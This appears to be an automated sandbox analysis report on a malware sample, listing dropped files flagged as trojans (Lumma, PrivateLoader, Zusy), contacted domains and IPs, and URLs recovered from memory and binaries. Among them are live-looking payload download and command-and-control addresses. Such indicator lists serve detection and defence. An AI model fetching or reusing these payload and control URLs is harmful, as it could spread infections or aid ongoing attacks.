C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma2305[1].exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Retailer_prog[1].exe	54%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lumma2305[1].exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sqls[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\Retailer_prog[1].exe	54%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	46%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\katC73D.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\ZUeumQ5vReRlBxyeuYnI.exe	54%	ReversingLabs
C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\kvTtAU2MzY2s2DUs95B8.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
employhabragaomlsp.shop	12%	Virustotal	Browse
chrome.cloudflare-dns.com	0%	Virustotal	Browse
sun6-21.userapi.com	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
api.myip.com	1%	Virustotal	Browse
fleur-de-lis.sbs	0%	Virustotal	Browse
helsinki-dtc.com	1%	Virustotal	Browse
f.alie3ksggg.com	14%	Virustotal	Browse
vk.com	0%	Virustotal	Browse
checkdata-1114476139.us-west-2.elb.amazonaws.com	0%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
service-domain.xyz	13%	Virustotal	Browse
env-3936544.jcloud.kz	5%	Virustotal	Browse
sun6-20.userapi.com	0%	Virustotal	Browse
lop.foxesjoy.com	17%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
iplis.ru	12%	Virustotal	Browse
monoblocked.com	15%	Virustotal	Browse
iplogger.org	1%	Virustotal	Browse
d1u0l9f6kr1di3.cloudfront.net	0%	Virustotal	Browse
sta.alie3ksgee.com	9%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
cajgtus.com	23%	Virustotal	Browse
sni1gl.wpc.nucdn.net	0%	Virustotal	Browse
f.123654987.xyz	0%	Virustotal	Browse
kurd.computer	4%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
sun6-23.userapi.com	0%	Virustotal	Browse
ntp.msn.com	0%	Virustotal	Browse
www.rapidfilestorage.com	1%	Virustotal	Browse
db-ip.com	0%	Virustotal	Browse
sun6-22.userapi.com	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
skrptfiles.tracemonitors.com	1%	Virustotal	Browse
api4.check-data.xyz	6%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
employhabragaomlsp.shop	188.114.96.3	true	true	12%, Virustotal, Browse
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse
helsinki-dtc.com	194.67.87.38	true	false	1%, Virustotal, Browse
lop.foxesjoy.com	188.114.97.3	true	true	17%, Virustotal, Browse
sun6-21.userapi.com	95.142.206.1	true	false	0%, Virustotal, Browse
sun6-20.userapi.com	95.142.206.0	true	false	0%, Virustotal, Browse
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse
fleur-de-lis.sbs	188.114.97.3	true	true	0%, Virustotal, Browse
api.myip.com	172.67.75.163	true	false	1%, Virustotal, Browse
f.alie3ksggg.com	103.146.158.221	true	true	14%, Virustotal, Browse
ipinfo.io	34.117.186.192	true	false	0%, Virustotal, Browse
api.2ip.ua	188.114.96.3	true	true	6%, Virustotal, Browse
www.google.com	142.250.184.228	true	false	0%, Virustotal, Browse
service-domain.xyz	54.210.117.250	true	true	13%, Virustotal, Browse
checkdata-1114476139.us-west-2.elb.amazonaws.com	44.235.180.78	true	true	0%, Virustotal, Browse
vk.com	93.186.225.194	true	false	0%, Virustotal, Browse
iplis.ru	172.67.147.32	true	false	12%, Virustotal, Browse
env-3936544.jcloud.kz	185.22.66.16	true	false	5%, Virustotal, Browse
monoblocked.com	45.130.41.108	true	false	15%, Virustotal, Browse
d1u0l9f6kr1di3.cloudfront.net	108.156.60.94	true	false	0%, Virustotal, Browse
iplogger.org	172.67.132.113	true	false	1%, Virustotal, Browse
sta.alie3ksgee.com	103.146.158.221	true	true	9%, Virustotal, Browse
f.123654987.xyz	37.221.125.202	true	true	0%, Virustotal, Browse
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	0%, Virustotal, Browse
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse
cajgtus.com	125.7.253.10	true	true	23%, Virustotal, Browse
steamcommunity.com	104.102.42.29	true	false	0%, Virustotal, Browse
sun6-22.userapi.com	95.142.206.2	true	false	0%, Virustotal, Browse
kurd.computer	146.70.56.165	true	false	4%, Virustotal, Browse
sun6-23.userapi.com	95.142.206.3	true	false	0%, Virustotal, Browse
db-ip.com	172.67.75.166	true	false	0%, Virustotal, Browse
googlehosted.l.googleusercontent.com	142.250.185.161	true	false	0%, Virustotal, Browse
ntp.msn.com	unknown	unknown	true	0%, Virustotal, Browse
clients2.googleusercontent.com	unknown	unknown	true	0%, Virustotal, Browse
api4.check-data.xyz	unknown	unknown	true	6%, Virustotal, Browse
www.rapidfilestorage.com	unknown	unknown	true	1%, Virustotal, Browse
skrptfiles.tracemonitors.com	unknown	unknown	true	1%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fleur-de-lis.sbs/var/www/keitaro/post/File_294/setup294.exe	true
http://185.172.128.170/8420e83ceb95f3af/freebl3.dll	true
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt	false
https://vk.com/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015	false
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?AzauwHpECShdVTwDgNuFnzwhTvPUyzODY	false
http://skrptfiles.tracemonitors.com/updates/yd/yt_wrtzr_1/win/version.txt?LFZzyYVkTHiaNSeYFhtmmATBTnawwPTbi	false
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?yridnKKpbdJYVEHZJqSrfasMFFFRjtwTc	false
http://f.alie3ksggg.com/f/oiii.exe	true
http://cajgtus.com/lancer/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	true
https://kurd.computer/dll/builddoc.exe	false
http://185.172.128.170/8420e83ceb95f3af/msvcp140.dll	true
http://skrptfiles.tracemonitors.com/updates/yd/yt_wrtzr_1/win/version.txt	false
http://www.rapidfilestorage.com/clrls/cl_rls.json	false
http://185.172.128.170/8420e83ceb95f3af/nss3.dll	true
https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11	false
https://78.47.123.174/msvcp140.dll	false
https://vk.com/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005	false
https://steamcommunity.com/profiles/76561199689717899	false
https://ipinfo.io/widget/demo/8.46.123.175	false
https://vk.com/doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12	false
https://78.47.123.174/	false
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?DsLygfFkDtSUzoPXLskPMSsoCsdOUcoMp	false
http://185.172.128.170/8420e83ceb95f3af/softokn3.dll	true
https://78.47.123.174/sqls.dll	false
https://monoblocked.com/525403/setup.exe	false
http://176.111.174.109/pelikan	false
http://185.172.128.170/8420e83ceb95f3af/vcruntime140.dll	true
5.42.65.115:40551	true
https://sun6-22.userapi.com/c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreudx3azSG-PMeLmWuk67Q85UjbCer331Fgc	false
http://cajgtus.com/lancer/get.php	true
https://vk.com/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2165373635.0000000005663000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2300077738.00000000058D7000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2381679649.000000000441A000.00000004.00000800.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/	0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCDC000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORTv	_vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2165373635.0000000005663000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2300077738.00000000058D7000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2381679649.000000000441A000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpFERRABLE	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	BI6oo9z4In.exe, 00000000.00000003.1745786108.0000000005153000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1753617941.0000000005503000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756586247.0000000005B3C000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747715910.0000000005268000.00000004.00000020.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000000.1873901437.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false
https://fleur-de-lis.sbs/jhgfdT	BI6oo9z4In.exe, 00000000.00000003.1747226346.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1757415129.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745941002.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742365598.000000000447B000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1753985920.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748785215.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1750695807.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746277754.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745501993.0000000004478000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	false
https://fleur-de-lis.sbs/jhgfdH	BI6oo9z4In.exe, 00000000.00000003.1747226346.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1757415129.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745941002.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742365598.000000000447B000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1753985920.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748785215.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1750695807.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746277754.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745501993.0000000004478000.00000004.00000020.00020000.00000000.sdmp	false
https://vk.com/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5	BI6oo9z4In.exe, 00000000.00000003.1794244261.00000000044B5000.00000004.00000020.00020000.00000000.sdmp	false
https://monoblocked.com/525403/setup.exe/th	BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	false
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000000.1876315912.0000000001452000.00000080.00000001.01000000.0000000B.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.000000000143A000.00000040.00000001.01000000.0000000B.sdmp	false
http://sta.alie3ksgee.com/aaaaaaaa.jpgr?	0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2375756872.0000000002D8E000.00000004.00000020.00020000.00000000.sdmp	true
https://lop.foxesjoy.com:80/ssl/crt.exe	BI6oo9z4In.exe, 00000000.00000003.1747368845.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745625501.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742705316.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1755961326.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737273041.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748866235.0000000002B98000.00000004.00000020.00020000.00000000.sdmp	false
https://support.microsoft..	H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A5A000.00000004.00000020.00020000.00000000.sdmp	false
https://kurd.computer/dll/builddoc.exeZ	BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/http	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000000.1873901437.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false
https://kurd.computer:80/Z	BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/8420e83ceb95f3af/msvcp140.dll/nz	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp	false
https://thridparty.nservices.org/api/browser/GetScript?id=$	uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2293231915.0000028B35390000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746530543.0000000004E40000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746669721.0000000004E40000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp	false
https://www.sqlite.org/lang_corefunc.html	LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	false
http://5.42.66.10/download/th/space.php3	BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/copterwin	HXqqC3YwnKDsi7zeJNheTOoZ.exe, 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CBDB000.00000004.00000800.00020000.00000000.sdmp	false
